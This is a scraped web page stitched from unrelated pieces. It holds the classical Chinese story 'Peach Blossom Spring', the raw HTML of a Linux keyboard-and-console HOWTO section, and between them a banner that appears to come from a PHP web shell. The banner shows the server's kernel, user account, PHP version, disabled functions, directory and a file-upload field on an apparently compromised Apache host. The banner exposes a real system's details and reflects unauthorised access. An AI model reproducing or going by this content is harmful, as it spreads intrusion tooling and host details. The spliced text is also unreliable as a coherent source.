晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/doc/kbd/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <HTML> <HEAD> <META NAME="GENERATOR" CONTENT="SGML-Tools 1.0.9"> <TITLE>The Linux keyboard and console HOWTO: Console generalities</TITLE> <LINK HREF="kbd.FAQ-4.html" REL=next> <LINK HREF="kbd.FAQ-2.html" REL=previous> <LINK HREF="kbd.FAQ.html#toc3" REL=contents> </HEAD> <BODY> <A HREF="kbd.FAQ-4.html">Next</A> <A HREF="kbd.FAQ-2.html">Previous</A> <A HREF="kbd.FAQ.html#toc3">Contents</A> <HR> <H2><A NAME="s3">3. Console generalities</A></H2> <P> <!-- console!theory of operation --> <P>Conversely, when you output something to the console, it first undergoes the standard tty processing, and then is fed to the console driver. The console driver emulates a VT100, and parses the input in order to recognize VT100 escape sequences (for cursor movement, clear screen, etc.). The characters that are not part of an escape sequence are first converted into Unicode, using one of four mapping tables if the console was not in UTF-8 mode to start with, then looked up in the table describing the correspondence between Unicode values and font positions, and the obtained 8- or 9-bit font indices are then written to video memory, where they cause the display of character shapes found in the video card's character ROM. One can load one's own fonts into character ROM using <CODE>setfont</CODE>. The obsolete programs <CODE>loadunimap</CODE> and <CODE>mapscrn</CODE> can be used to manipulate the Unicode map belonging to the font, or the mapping table of the console. More details will be given below. <P>There are many consoles (called <I>Virtual Consoles</I> or <I>Virtual Terminals</I>, abbreviated VCs or VTs) that share the same screen. You can use them as independent devices, either to run indendent login sessions, or just to send some output to, perhaps from <CODE>top</CODE>, or the tail of the system log or so. See below (`Console switching') on how to set them up and switch between them. <P> <P> <HR> <A HREF="kbd.FAQ-4.html">Next</A> <A HREF="kbd.FAQ-2.html">Previous</A> <A HREF="kbd.FAQ.html#toc3">Contents</A> </BODY> </HTML>